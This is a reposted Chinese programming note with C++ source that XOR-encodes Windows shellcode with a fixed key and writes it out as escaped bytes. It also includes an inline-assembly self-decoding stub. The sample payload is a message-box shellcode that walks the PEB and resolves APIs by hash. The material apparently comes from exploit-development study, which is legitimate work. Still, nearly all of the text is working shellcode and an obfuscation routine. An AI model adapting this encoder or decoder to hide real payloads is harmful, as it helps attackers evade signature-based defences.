shellcode加密与解密

// Encoder.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <Windows.h>
#include <stdio.h>

void encoder(char* input ,unsigned char key,int display_flag)
{
int i=0,len=0;
FILE *fp;
unsigned char *output;
len = strlen(input);
output = (unsigned char *)malloc(len+1);
if (!output)
{
printf("memory erro!\n");
exit(0);
}
//encode the shellcode
for(i=0;i<len;i++)
{
output[i] = input[i]^key;
}
if (!(fp=fopen("encode.txt","w+")))
{
printf("output file create erro");
exit(0);
}
fprintf(fp,"\""); //单引号
for (i=0;i<len;i++)
{
fprintf(fp,"\\x%0.2x",output[i]);
if ((i+1)%16==0)
{
fprintf(fp,"\"\n\"");
}
}
fprintf(fp,"\";");
fclose(fp);
printf("dump the encoded shellcode to encode.txt OK!\n");
if (display_flag) //print to screen
{
for (i=0;i<len;i++)
{
printf("%0.2x",output[i]);
if ((i+1)%16==0)
{
printf("\n");
}
}
}
free(output);
}

void decoder()
{
//==================解码器=================================================
__asm
{
add eax,0x14 //越过,记录Shellcode的起始地址
xor ecx,ecx //ecx寄存器清零
decode_loop:
mov bl,byte ptr[eax+ecx]
xor bl,0x44 //这里用0x44作为Key,如编码的Key改变,这里也要随之改变
mov [eax+ecx],bl
inc ecx
cmp bl,0x90 //在Shellcode末尾放上一个字节的0x90作为结束符
jne decode_loop
}
//==================解码器END=================================================
}

char popup_general[]=
"\xFC" //cld
"\x68\x6A\x0A\x38\x1E" //push 1E380A6A
"\x68\x63\x89\xD1\x4F" //push 4FD18963
"\x68\x32\x74\x91\x0C" //push 0C917432
"\x8B\xF4" //mov esi,esp
"\x8D\x7E\xF4" //lea edi,dword ptr ds[esi-C]
"\x33\xDB" //xor ebx,ebx
"\xB7\x04" //mov bh,4
"\x2B\xE3" //sub esp,ebx
"\x66\xBB\x33\x32" //mov bx,3233
"\x53" //push ebx
"\x68\x75\x73\x65\x72" //push 72657375
"\x54" //push esp
"\x33\xD2" //xor edx,edx
"\x64\x8B\x5A\x30" //mov ebx,dword ptr fs[edx+30]
"\x8B\x4B\x0C" //mov ecx,dword ptr ds[ebx+C]
"\x8B\x49\x1C" //mov ecx,dword ptr ds[ecx+1C]
"\x8B\x09" //mov ecx,dword ptr ds[ecx]
"\x8B\x69\x08" //mov ebp,dword ptr ds[ecx+8]
"\xAD" //lods dword ptr ds[esi]
"\x3D\x6A\x0A\x38\x1E" //cmp eax,1E380A6A
"\x75\x05" //jnz short shellcod.0040D48C
"\x95" //xchg eax,ebp
"\xFF\x57\xF8" //call dword ptr ds[edi-8]
"\x95" //xchg eax,ebp
"\x60" //pushad
"\x8B\x45\x3C" //mov eax,[arg.14]
"\x8B\x4C\x05\x78" //mov ecx,dword ptr ss[ebp+eax+78]
"\x03\xCD" //add ecx,ebp
"\x8B\x59\x20" //mov ebx,dword ptr ds[ecx+20]
"\x03\xDD" //add ebx,ebp
"\x33\xFF" //xor edi,edi
"\x47" ///inc edi
"\x8B\x34\xBB" //|mov esi,dword ptr ds[ebx+edi*4]
"\x03\xF5" //|add esi,ebp
"\x99" //|cdq
"\x0F\xBE\x06" //|/movsx eax,byte ptr ds[esi]
"\x3A\xC4" //||cmp al,ah
"\x74\x08" //||je short shellcod.0040D4B3
"\xC1\xCA\x07" //||ror edx,7
"\x03\xD0" //||add edx,eax
"\x46" //||inc esi
"\xEB\xF1" //|\jmp short shellcod.0040D4A4
"\x3B\x54\x24\x1C" //|cmp edx,dword ptr ss[esp+1C]
"\x75\xE4" //\jnz short shellcod.0040D49D
"\x8B\x59\x24" //mov ebx,dword ptr ds[ecx+24]
"\x03\xDD" //add ebx,ebp
"\x66\x8B\x3C\x7B" //mov di,word ptr ds[ebx+edi*2]
"\x8B\x59\x1C" //mov ebx,dword ptr ds[ecx+1C]
"\x03\xDD" //add ebx,ebp
"\x03\x2C\xBB" //add ebp,dword ptr ds[ebx+edi*4]
"\x95" //xchg eax,ebp
"\x5F" //pop edi
"\xAB" //stos dword ptr es[edi]
"\x57" //push edi
"\x61" //popad
"\x3D\x6A\x0A\x38\x1E" //cmp eax,1E380A6A
"\x75\xA9" //jnz short shellcod.0040D47F
"\x33\xDB" //xor ebx,ebx
"\x53" //push ebx
"\x68\x77\x65\x73\x74" //push 74736577
"\x68\x66\x61\x69\x6C" //push 6C696166
"\x8B\xC4" //mov eax,esp
"\x53" //push ebx
"\x50" //push eax
"\x50" //push eax
"\x53" //push ebx
"\xFF\x57\xFC" //call dword ptr ds[edi-4]
"\x53" //push ebx
"\xFF\x57\xF8"; //call dword ptr ds[edi-8] //nop

int main(int argc, char* argv[])
{
encoder(popup_general,0x44,1);
return 0;
}

转载于:https://www.cnblogs.com/dsli/p/7222807.html